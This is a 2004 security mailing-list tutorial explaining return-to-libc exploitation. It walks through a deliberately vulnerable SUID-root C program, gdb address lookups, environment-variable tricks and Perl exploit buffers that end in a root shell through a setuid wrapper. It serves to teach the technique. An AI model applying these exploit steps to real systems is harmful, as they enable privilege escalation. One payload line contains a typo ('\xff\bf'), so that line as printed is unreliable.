Exploitation: Returning into libc
Shaun Colley <[email protected]> Mon, 26 Jan 2004 17:07:09 +0000 (GMT)
| Newsgroups | gmane.comp.security.papers |
|---|---|
| Message-ID | <[email protected]> |
######################################
# Exploitation - Returning into libc #
######################################
=20
=20
by shaun2k2
=09
################
# Introduction #
################
Generic vulnerabilities in applications such as the
infamous "buffer overflow=20
vulnerability" crop up reguarly in many immensely
popular software packages=20
thought to be secure by most, and programmers continue
to make the same mistakes=20
as a result of lazy or sloppy coding practices. As
programmers wisen up to the=20
common techniques employed by hackers when exploiting
buffer overflow=20
vulnerabilities, the likelihood of having the ability
to execute arbitrary=20
shellcode on the program stack decreases. One such
example of why is the fact
that some Operating Systems are beginning to use
non-exec stacks by default,=20
which makes executing shellcode on the stack when
exploiting a vulnerable=20
application is a significantly more challenging task.=20
Another possibility is=20
that many IDSs automatically detect simple shellcodes,
making injecting=20
shellcode more of a task.
As with most scenarios, with a problem comes a
solution. With a little=20
knowledge of the libc functions and their operation,
one can take an alternate=20
approach to executing arbitrary code as a result of
exploitation of a buffer=20
overflow vulnerability or another bug: returning to
libc.
The intention of this article is not to teach you the
in's and out's of buffer=20
overflows, but to explain in a little detail another
technique used to execute=20
arbitrary code as opposed to the classic 'NOP sled +
shellcode + repeated=20
retaddr' method. I assume readers are familiar with
buffer overflow=20
vulnerabilities and the basics of how to exploit them.
Also a little bit of the=20
theory of memory organisation is desirable, such as
how the little-endian bit=20
ordering system works. To those who are not familiar
with buffer overflow bugs,=20
I suggest you read "Smashing the Stack for Fun and
Profit".
<http://www.phrack.org/phrack/49/P49-14>
#######################
# Returning into libc #
#######################
As the name suggests, the entire concept of the
technique is that instead of=20
overwriting the EIP register with the predicted or
approxamate address of your=20
NOP sled in memory or your shellcode, you overwrite
EIP with the address of a=20
function contained within the libc library, with any
function arguments=20
following. An example of such would be to exploit a
buffer overflow bug to
overwrite EIP with the address of system() or execl()
included in the libc=20
library to run an interactive shell (/bin/sh for
example). This idea is quite=20
reasonable, and since it does not involve estimating
return addresses and=20
building large exploit buffers, this is quite an
appealing technique, but it=20
does have it's downsides which I shall explain later.
Let me demonstrate an example of the technique. Let's
say we have the following=20
small example program, vulnprog:
--START
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
if(argc < 2) {
printf("Usage: %s <string>\n", argv[0]);
exit(-1);
}
char buf[5];
strcpy(buf, argv[1]);
return(0);
}
gcc vulnprog.c -o vulnprog
chown root vulnprog
chmod +s vulnprog
--END
Anyone with a tiny bit of knowledge of buffer
overflows can see that the=20
preceding program is ridiculously insecure, and allows
anybody who exceeds the=20
bounds of `buf' to overwrite data on the stack. It
would usually be quite easy=20
to write an exploit for the above example program, but
let's assume that our=20
friendly administrator has just read a computer
security book and has enabled a=20
non-executable stack as a security measure. This
requires us to think a little=20
out of the box in order to be able to execute
arbitrary code, but we already=20
have our solution; return into a libc function.
How, you may ask, do we actually get the information
we need and prepare an=20
'exploit buffer' in order to execute a libc function
as a result of a buffer=20
overflow? Well, all we need is the address of the
desired libc function, and=20
the address of any function arguments. So let's say
for example we wanted to=20
exploit the above program (it is SUID root) to execute
a shell (we want /bin/sh)=20
using system() - all we'd need is the address of
system() and then the address=20
holding the string "/bin/sh" right? Correct. "But
how do we begin to get this=20
info?". That is what we're about to find out.
--START
[shaunige@localhost shaunige]$ echo "int main() {
system(); }" > test.c
[shaunige@localhost shaunige]$ cat test.c
int main() { system(); }
[shaunige@localhost shaunige]$ gcc test.c -o test
[shaunige@localhost shaunige]$ gdb -q test
(gdb) break main
Breakpoint 1 at 0x8048342
(gdb) run
Starting program: /home/shaunige/test
Breakpoint 1, 0x08048342 in main ()
(gdb) p system
$1 =3D {<text variable, no debug info>} 0x4005f310
<system>
(gdb) quit
The program is running. Exit anyway? (y or n) y
[shaunige@localhost shaunige]$
--END
First, I create a tiny dummy program which calls the
libc function 'system()'=20
without any arguments, and compiled it. Next, I ran
gdb ready to debug our=20
dummy program, and I told gdb to report breakpoints
before running the dummy=20
program. By examining the report, we get the location
of the libc function=20
system() in memory - and it shall remain there until
libc is recompiled. So,=20
now we have the address of system(), which puts us
half way there. However, we=20
still need to know how we can store the string
"/bin/sh" in memory and=20
ultimately reference it whenever needed. Let's think
about this for a moment. =20
Maybe we could use an environmental variable to hold
the string? Yes, infact,=20
an environmental variable would be ideal for this
task, so let's create and use=20
an environment variable called $HACK to store our
string ("/bin/sh"). But how=20
are we going to know the memory address of our
environment variable and=20
ultimately our string? We can write a simple utility
program to grab the memory=20
address of the environmental variable. Consider the
following code:
--START
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
if(argc < 2) {
printf("Usage: %s <environ_var>\n", argv[0]);
exit(-1);
}
char *addr_ptr;
addr_ptr =3D getenv(argv[1]);
if(addr_ptr =3D=3D NULL) {
printf("Environmental variable %s does not exist!\n",
argv[1]);
exit(-1);
}
printf("%s is stored at address %p\n", argv[1],
addr_ptr);
return(0);
}
--END
This program will give us the address of a given
environment variable, let's=20
test it out:
--START
[shaunige@localhost shaunige]$ gcc getenv.c -o getenv
[shaunige@localhost shaunige]$ ./getenv TEST
Environmental variable TEST does not exist!
[shaunige@localhost shaunige]$ ./getenv HOME
HOME is stored at address 0xbffffee2
[shaunige@localhost shaunige]$
--END
Great, it seems to work. Now, let's get down to
actually creating our variable=20
with the desired string "/bin/sh" and get the address
of it.
First I create the environmental variable, and then I
run our above program to=20
get the memory location of a desired environment
variable:
--START
[shaunige@localhost shaunige]$ export HACK=3D"/bin/sh"
[shaunige@localhost shaunige]$ echo $HACK
/bin/sh
[shaunige@localhost shaunige]$ ./getenv HACK
HACK is stored at address 0xbffff9d8
[shaunige@localhost shaunige]$
--END
This is good, we now have all of the information we
need to exploit the=20
vulnerable program: the address of 'system()'
(0x4005f310) and the address of=20
the environmental variable $HACK holding our string
"/bin/sh" (0xbffff9d8). So,=20
what do we do with this stuff? Well, like in all
instances of exploiting a=20
buffer overflow hole, we craft an exploit buffer, but
ours is somewhat different=20
to one you may be used to seeing, with repeated NOPs
(known as a 'NOP sled'),=20
shellcode and repeated return addresses. Ours exploit
buffer needs to look=20
something like this:
--START
-------------------------------------------------------------------------=
----
=20
| system() addr | return address | =20
system() argument |
-------------------------------------------------------------------------=
----
--END
"But wait, I thought you said we don't need a return
address?". We don't, but=20
libc functions always require a return address to JuMP
to after the function has=20
finished it's job, but we don't care if the program
segmentation faults after=20
running the shell, so we don't even need a return
address. Instead, we'll just=20
specify 4 bytes of garbage data, "HACK" for example.=20
So, with this in mind, a=20
representation of our whole buffer needs to look like
this:
--START
----------------------------------------------------------------------
| DATA-TO-OVERFLOW-BUFFER | 0x4005f310 | HACK=20
| 0xbffff9d8 |
----------------------------------------------------------------------
--END
The data represented by 'DATA-TO-OVERFLOW-BUFFER' is
just garbage data used to=20
overflow beyond the bounds ("boundaries") of the
`buff' variable enough to=20
position the address of libc 'system()' function
(0x4005f310) into the EIP=20
register.
It looks now like we have all of the information and
theory of concept we need:=20
build a buffer containing the address of a libc
function, followed by a return=20
address to JuMP to after executing the function,
followed by any function
arguments for the libc function. The buffer will need
garbage data at the=20
beginning so as to overflow far enough into memory to
overwrite the EIP register=20
with the address of system() so that it jumps to it
instead of the next=20
instruction in the program (the same technique used
when using shellcode: inject=20
an arbitrary memory address into EIP). Now that we
have all of the necessary=20
theory of this technique and the required information
for actually implementing=20
it (i.e address of a libc function and memory address
of string "/bin/sh" etc),=20
let's exploit this bitch!
################
# EXPLOITATION #
################
We have the necessary stuff, so let's get on with the
ultimate goal: to get a=20
root shell by executing 'system("/bin/sh")' rather
than shellcode! Let's assume=20
that we are exploiting a Linux system with a
non-executable stack, so we have no=20
other option than to 'return into libc'.
Remembering back to the diagram representation of our
exploit buffer, we should=20
recall that garbage data must precede the buffer so
that we are writing into=20
EIP, followed by the memory location of 'system()',
then followed by a return=20
address which we do not need, followed by the memory
address of "/bin/sh". =20
Let's see if we can exploit vulnprog.c this way. If
you think back, we have=20
already set and exported the environmental variable
$HACK, but let's do it again=20
and grab the memory address, just for clarity's sake.
--START
[shaunige@localhost shaunige]$ export HACK=3D"/bin/sh"
[shaunige@localhost shaunige]$ echo $HACK
/bin/sh
[shaunige@localhost shaunige]$ ./getenv HACK
HACK is stored at address 0xbffff9d8
[shaunige@localhost shaunige]$
--END
Good, we now have the address of our string. You
should also remember that we=20
created a dummy program which called 'system()' from
which we got our address of=20
system() with the help of GDB. The address was
0x4005f310. We've got the=20
stuff, let's write that exploit! We'll do it with
Perl from the console,=20
because it gives us more flexibility and more room for
testing than writing a=20
larger program in C does.
First, we must reverse the addresses of 'system'() and
the environment variable=20
holding "/bin/sh" due to the fact that we are working
on a system using the=20
little-endian byte ordering system. This gives us:
'system()' address:
####################
\x10\xf3\x05\x40
$HACK's address:
#################
\xd8\xf9\xff\xbf
And we know that for the return address required by
all libc functions just=20
needs to be a 4-byte value. We'll just use "HACK".=20
Therefore, our exploit
buffer looks like this so far:
\x10\xf3\x05\x40HACK\xd8\xf9\xff\xbf
But something is missing. In it's current state, if
fed to vulnprog, the=20
address of 'system()' would NOT overwrite into EIP
like we want, because we=20
wouldn't have overflowed the 'buf' variable enough to
reach the location of the=20
EIP register. So, as shown on our above diagram of
our exploit buffer, we're=20
going to need to prepend garbage data onto the
beginning of our exploit buffer=20
to overwrite far enough into the stack region to reach
EIP so that we can=20
overwrite that return address. How can we know how
much garbage data we need,=20
as it needs to be spot on? The only reasonable way is
just trial-n-error. Due=20
to playing with vulnprog a little, I found that we
will probably need about 6-9=20
words of garbage data.
--START
[shaunige@localhost shaun]$ ./vulnprog `perl -e 'print
"BLEH"x6 .=20
"\x10\xf3\x05\x40HACK\xd8\xf9\xff\xbf"'`
Segmentation fault
[shaunige@localhost shaun]$ ./vulnprog `perl -e 'print
"BLEH"x9 .=20
"\x10\xf3\x05\x40HACK\xd8\xf9\xff\xbf"'
Segmentation fault
[shaunige@localhost shaun]$ ./vulnprog `perl -e 'print
"BLEH"x8 .=20
"\x10\xf3\x05\x40HACK\xd8\xf9\xff\xbf"'
Segmentation fault
[shaunige@localhost shaun]$ ./vulnprog `perl -e 'print
"BLEH"x7 .
"\x10\xf3\x05\x40HACK\xd8\xf9\xff\xbf"'
sh-2.05b$ whoami
shaunige
sh-2.05b$ exit
exit
[shaunige@localhost shaun]$
--END
The exploit worked, and it needed 7 words of dummy
data. But wait, why don't we=20
have a rootshell? ``vulnprog'' is SUID root, so
what's going on? 'system()'=20
runs the specified path (in our case "/bin/sh")
through /bin/sh itself, so the=20
privileges were dropped, thus giving us a shell, but
not a rootshell. =20
Therefore, the exploit *did* work, but we're going to
have to use a libc=20
function that *doesn't* drop privileges before
executing the path specified=20
("/bin/sh" in our scenario). =20
#####################
# Using a 'wrapper' #
#####################
Hmm, what to do? We're going to have to use one of
the exec() functions, as=20
they do not use /bin/sh, thus not dropping privileges.
First, let's make our=20
job a little easier, and create a little program that
will run a shell for us=20
(called a wrapper program). =20
--START
/* expl_wrapper.c */
#include <stdio.h>
#include <stdlib.h>
int main() {
setuid(0);
setgid(0);
system("/bin/sh");
}
--END
We need a plan: instead of using 'system()' to run a
shell, we'll overwrite the=20
return address on stack (EIP register) with the
address of 'execl()' function in=20
the libc library. We'll tell 'execl()' to execute our
wrapper program=20
(expl_wrpper.c), which raises our privs and executes a
shell. Voila, a root=20
shell. However, this is not going to be as easy as
the last experiment. For a=20
start, the execl() function needs NULLs as the last
function argument, but=20
'strcpy()' in vulnprog.c will think that a NULL (\x00
in hex representation)=20
means the end of the string, thus making the exploit
fail. Instead, we can use=20
'printf()' to write NULLs without NULL's appearing in
the exploit buffer. Our=20
exploit buffer needs to this time look like this:
--START
-------------------------------------------------------------------------=
------
GARBAGE|printf() addr|execl() addr| %3$n addr|wrapper
addr|wrapper addr|addr of=20
here
|------------------------------------------------------------------------=
-
------
--END
You may notice "%3$n addr". This is a format string
for 'printf()', and due to=20
direct parameter access, it will skip over the two
"wrapper addr" addresses, and=20
place NULLs at the end of the exploit buffer. This
time, the address of=20
'printf()' is overwritten into EIP, executing
'printf()' first, followed by the=20
execution of our wrapper program. This will result in
a rootshell since=20
vulnprog is SUID root.
'addr of here' needs to be the address of itself,
which will be overwritten by=20
NULLs when 'printf()' skips over the first 2
parameters of the 'execl' call.
To get the addresses of 'printf()' and 'execl()' libc
library functions, we'll=20
again write a tiny test program, and use GDB to help
us out.
--START
/* test.c */
#include <stdio.h>
int main() {
execl();
printf(0);
}
[shaunige@localhost shaunige]$ gcc test.c -o test -g
[shaunige@localhost shaunige]$ gdb -q ./test
(gdb) break main
Breakpoint 1 at 0x804837c: file test.c, line 4.
(gdb) run
Starting program: /home/shaunige/test
Breakpoint 1, main () at test.c:4
4 execl();
(gdb) p execl
$1 =3D {<text variable, no debug info>} 0x400bde80
<execl>
(gdb) p printf
$2 =3D {<text variable, no debug info>} 0x4006e310
<printf>
(gdb) quit
The program is running. Exit anyway? (y or n) y
[shaunige@localhost shaunige]$
--END
Excellent, just as we wanted, we have now the
addresses of libc 'execl()' and=20
'printf()'. We'll be using 'printf()' to write NULLs
(with the format string=20
"%3$n"), so we'll need to write the printf() format
string %3$n into memory. =20
Using the format string %3$n to write NULLs works
because it uses direct=20
positional parameters (hence the '$' in the format
string) - %3 tells it to skip=20
over the first two function arguments of 'execl()'
(address of our wrapper=20
program followed by the address of the wrapper program
again), and writes NULLs=20
into the location after the second argument of the
execl function. Let's use an=20
environment variable again, due to past success with
them. We'll use also an=20
environment variable to store the path of our wrapper
program which invokes a=20
shell, "/home/shaunige/wrapper".
--START
[shaunige@localhost shaunige]$ export NULLSTR=3D"%3\$n"
[shaunige@localhost shaunige]$ echo $NULLSTR
%3$n
[shaunige@localhost shaunige]$ export
WRAPPER_PROG=3D"/home/shaunige/wrapper"
[shaunige@localhost shaunige]$ echo $WRAPPER_PROG
/home/shaunige/wrapper
[shaunige@localhost shaunige]$ ./getenv NULLSTR
NULLSTR is stored at address 0xbfffff5f
[shaunige@localhost shaunige]$ ./getenv WRAPPER_PROG
WRAPPER_PROG is stored at address 0xbffff9a9
[shaunige@localhost shaunige]$
--END
We now have all of the addresses which we need, except
the last argument: 'addr=20
of here'. This needs to be the address of the buffer
when it is copied over. =20
It needs to be the memory address of the overflowable
'buf' variable + 48 bytes.=20
But how will we get the address of 'buf'? All we
need to do is add an extra=20
line of code to vulnprog.c, recompile it, and we will
have the address in memory=20
of 'buf':
--START
[shaunige@localhost shaunige]$ cat vulnprog.c
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
if(argc < 2) {
printf("Usage: %s <string>\n", argv[0]);
exit(-1);
}
char buf[5];
printf("addr of buf is: %p\n", buf);
strcpy(buf, argv[1]);
return(0);
}
[shaunige@localhost shaunige]$ gcc vulnprog.c -o
vulnprog
[shaunige@localhost pcalc-000]$ ../vulnprog `perl -e
'print
"1234"x13'`
addr of buf is: 0xbffff780
Segmentation fault
[shaunige@localhost pcalc-000]$--END
--END
With a little simple hexadecimal addition, we can
determine that 0xbffff780 + 48=20
=3D 0xbffff7b0. This is the address which is the final
function argument of=20
'execl()', where the NULLs will be located. We now
have all of the information=20
we need, so exploitation will be easy. Again, I'm
going to craft the exploit=20
buffer from the console with perl, let's get going!
--START
[shaunige@localhost shaunige]$ ./vulnprog `perl -e
'print "1234"x7 .=20
"\x10\xe3\x06\x40" . "\x80\xde\x0b\x40" .
"\x5f\xff\xff\xbf" . "\xa9\xf9\xff\bf"=20
. "\xa9\xf9\xff\xbf" . "\xb0\xf7\xff\xbf"'`
sh-2.05b#
--END
Well, well, looks like our little exploit worked!=20
Depending on your machine's=20
stack, you may need more garbage data (used for
spacing) preceding your exploit=20
buffer, but it worked fine for us.
The exploit buffer was fed to 'vulnprog' thus
overwriting the return address on=20
stack with the address of the libc 'printf()'
function. 'printf()' then wrote=20
NULLs into the correct place, and exited. Then
'execl()' executed our wrapper=20
program as instructed, which was designed to invoke a
shell (/bin/sh) with=20
privileges of 'vulnprog' (root), leaving us with a
lovely rootshell. Voila.
##############
# Conclusion #
##############
I have hopefully given you a quick insight on an
alternative to executing=20
arbitrary code during the exploitation of a
stack-based overflow vulnerability=20
in a given program. Non-executable stacks are
becoming more and more common in=20
modern Operating Systems, and knowing how to 'return
into libc' rather than=20
using shellcode can be a very useful thing to know. I
hope you've enjoyed this=20
article, I appreciate feedback.
Have a Merry Christmas (what is left of it, anyway),
and a Happy New Year=20
everybody!
________________________________________________________________________
Yahoo! Messenger - Communicate instantly..."Ping"=20
your friends today! Download Messenger Now=20
http://uk.messenger.yahoo.com/download/index.html